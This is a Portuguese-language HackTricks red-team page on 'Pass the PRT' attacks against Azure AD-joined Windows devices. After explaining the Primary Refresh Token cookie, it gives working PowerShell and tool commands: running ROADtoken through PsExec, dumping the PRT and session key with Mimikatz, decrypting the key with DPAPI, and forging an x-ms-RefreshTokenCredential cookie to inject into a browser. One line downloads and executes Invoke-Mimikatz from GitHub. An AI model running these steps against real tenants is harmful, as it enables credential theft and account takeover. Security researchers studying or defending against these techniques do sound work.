Az - Pass the PRT

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

O que é um PRT

pageAz - Primary Refresh Token (PRT)

Verifique se você tem um PRT

Dsregcmd.exe /status

Na seção Estado do SSO, você deve ver o AzureAdPrt definido como YES.

No mesmo resultado, você também pode ver se o dispositivo está conectado ao Azure (no campo AzureAdJoined):

O cookie PRT é na verdade chamado de x-ms-RefreshTokenCredential e é um JSON Web Token (JWT). Um JWT contém 3 partes, o cabeçalho, carga útil e assinatura, divididos por um . e todos codificados em base64 de forma segura para URL. Um cookie PRT típico contém o seguinte cabeçalho e corpo:

{
"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}

O Token de Atualização Primário (PRT) real está encapsulado dentro do refresh_token, que é criptografado por uma chave sob o controle do Azure AD, tornando seu conteúdo opaco e indescritível para nós. O campo is_primary significa a encapsulação do token de atualização primário dentro deste token. Para garantir que o cookie permaneça vinculado à sessão de login específica para a qual foi destinado, o request_nonce é transmitido a partir da página logon.microsoftonline.com.

O processo LSASS enviará para o TPM o contexto KDF, e o TPM usará a chave de sessão (obtida quando o dispositivo foi registrado no AzureAD e armazenada no TPM) e o contexto anterior para derivar uma chave, e esta chave derivada é usada para assinar o cookie PRT (JWT).

O contexto KDF é um nonce do AzureAD e o PRT criando um JWT misturado com um contexto (bytes aleatórios).

Portanto, mesmo que o PTR não possa ser extraído porque está localizado dentro do TPM, é possível abusar do LSASS para solicitar chaves derivadas de novos contextos e usar as chaves geradas para assinar Cookies.

Cenários de Abuso do PRT

Como um usuário regular, é possível solicitar o uso do PRT pedindo ao LSASS dados de SSO. Isso pode ser feito como aplicativos nativos que solicitam tokens do Gerenciador de Contas da Web (token broker). O WAM passa a solicitação para o LSASS, que solicita tokens usando uma afirmação PRT assinada. Ou pode ser feito com fluxos baseados em navegador (web) onde um cookie PRT é usado como cabeçalho para autenticar solicitações às páginas de login do Azure AS.

Como SISTEMA, você poderia roubar o PRT se não estiver protegido pelo TPM ou interagir com as chaves PRT no LSASS usando APIs criptográficas.

Exemplos de Ataques Pass-the-PRT

Ataque - ROADtoken

Para mais informações sobre este método verifique este post. ROADtoken executará BrowserCore.exe do diretório correto e o usará para obter um cookie PRT. Este cookie pode então ser usado com ROADtools para autenticar e obter um token de atualização persistente.

Para gerar um cookie PRT válido, a primeira coisa que você precisa é um nonce. Você pode obter isso com:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

Ou usando roadrecon:

roadrecon auth prt-init

Então você pode usar roadtoken para obter um novo PRT (execute a ferramenta a partir de um processo do usuário para atacar):

.\ROADtoken.exe <nonce>
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

Em seguida, você pode usar o cookie gerado para gerar tokens e fazer login usando o Azure AD Graph ou Microsoft Graph:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Ataque - Usando roadrecon

Ataque - Usando AADInternals e um PTR vazado

Get-AADIntUserPRTToken obtém o token PRT do usuário do computador associado ao Azure AD ou híbrido. Usa BrowserCore.exe para obter o token PRT.

# Get the PRToken
$prtToken = Get-AADIntUserPRTToken

# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

Ou se você tiver os valores do Mimikatz, você também pode usar o AADInternals para gerar um token:

# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."

# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}

# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"

# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser

# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken

# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>

Acesse https://login.microsoftonline.com, limpe todos os cookies para login.microsoftonline.com e insira um novo cookie.

Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

Em seguida, acesse https://portal.azure.com

O restante deve ser o padrão. Certifique-se de poder atualizar a página e o cookie não desaparecer, se desaparecer, você pode ter cometido um erro e precisará passar pelo processo novamente. Se não desaparecer, você está pronto.

Ataque - Mimikatz

Passos

  1. O PRT (Token de Atualização Primário) é extraído do LSASS (Local Security Authority Subsystem Service) e armazenado para uso subsequente.

  2. A Chave de Sessão é extraída em seguida. Dado que essa chave é emitida inicialmente e depois reencriptada pelo dispositivo local, é necessário descriptografá-la usando uma chave mestra DPAPI. Informações detalhadas sobre DPAPI (API de Proteção de Dados) podem ser encontradas nestes recursos: HackTricks e para entender sua aplicação, consulte o ataque Pass-the-cookie.

  3. Após a descriptografia da Chave de Sessão, a chave derivada e o contexto para o PRT são obtidos. Esses são cruciais para a criação do cookie PRT. Especificamente, a chave derivada é usada para assinar o JWT (Token da Web JSON) que constitui o cookie. Uma explicação abrangente desse processo foi fornecida por Dirk-jan, acessível aqui.

Observe que se o PRT estiver dentro do TPM e não dentro do lsass, o mimikatz não poderá extraí-lo. No entanto, será possível obter uma chave de uma chave derivada de um contexto do TPM e usá-la para assinar um cookie (verifique a opção 3).

Você pode encontrar uma explicação detalhada do processo realizado para extrair esses detalhes aqui: https://dirkjanm.io/digging-further-into-the-primary-refresh-token/

Isso não funcionará exatamente após as correções de agosto de 2021 para obter tokens PRT de outros usuários, pois apenas o usuário pode obter seu PRT (um administrador local não pode acessar os PRTs de outros usuários), mas pode acessar o seu.

Você pode usar o mimikatz para extrair o PRT:

mimikatz.exe
Privilege::debug
Sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

Copie a parte rotulada como Prt e salve-a. Extraia também a chave de sessão (o KeyValue do campo ProofOfPossesionKey) que você pode ver destacada abaixo. Isso está criptografado e precisaremos usar nossas chaves mestras DPAPI para descriptografá-lo.

Se você não ver nenhum dado PRT, pode ser que você não tenha nenhum PRT porque seu dispositivo não está associado ao Azure AD ou pode ser que você esteja executando uma versão antiga do Windows 10.

Para descriptografar a chave de sessão, você precisa elevar seus privilégios para SYSTEM para executar no contexto do computador e ser capaz de usar a chave mestra DPAPI para descriptografá-la. Você pode usar os seguintes comandos para fazer isso:

token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect

Opção 1 - Mimikatz Completo

  • Agora você deseja copiar tanto o valor do Contexto:

  • Quanto o valor da chave derivada:

  • Por fim, você pode usar todas essas informações para gerar cookies PRT:

Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

O restante deve permanecer como padrão. Certifique-se de que é possível atualizar a página e o cookie não desaparece. Se isso acontecer, você pode ter cometido um erro e precisará passar pelo processo novamente. Caso contrário, você está pronto.

Opção 2 - roadrecon usando PTR

  • Renove primeiro o PRT, que será salvo em roadtx.prt:

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • Agora podemos solicitar tokens usando o navegador interativo com roadtx browserprtauth. Se usarmos o comando roadtx describe, veremos que o token de acesso inclui uma reivindicação MFA porque o PRT que usei neste caso também tinha uma reivindicação MFA.

roadtx browserprtauth
roadtx describe < .roadtools_auth

Opção 3 - roadrecon usando chaves derivadas

Tendo o contexto e a chave derivada extraída pelo mimikatz, é possível usar o roadrecon para gerar um novo cookie assinado com:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

Referências

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Última actualización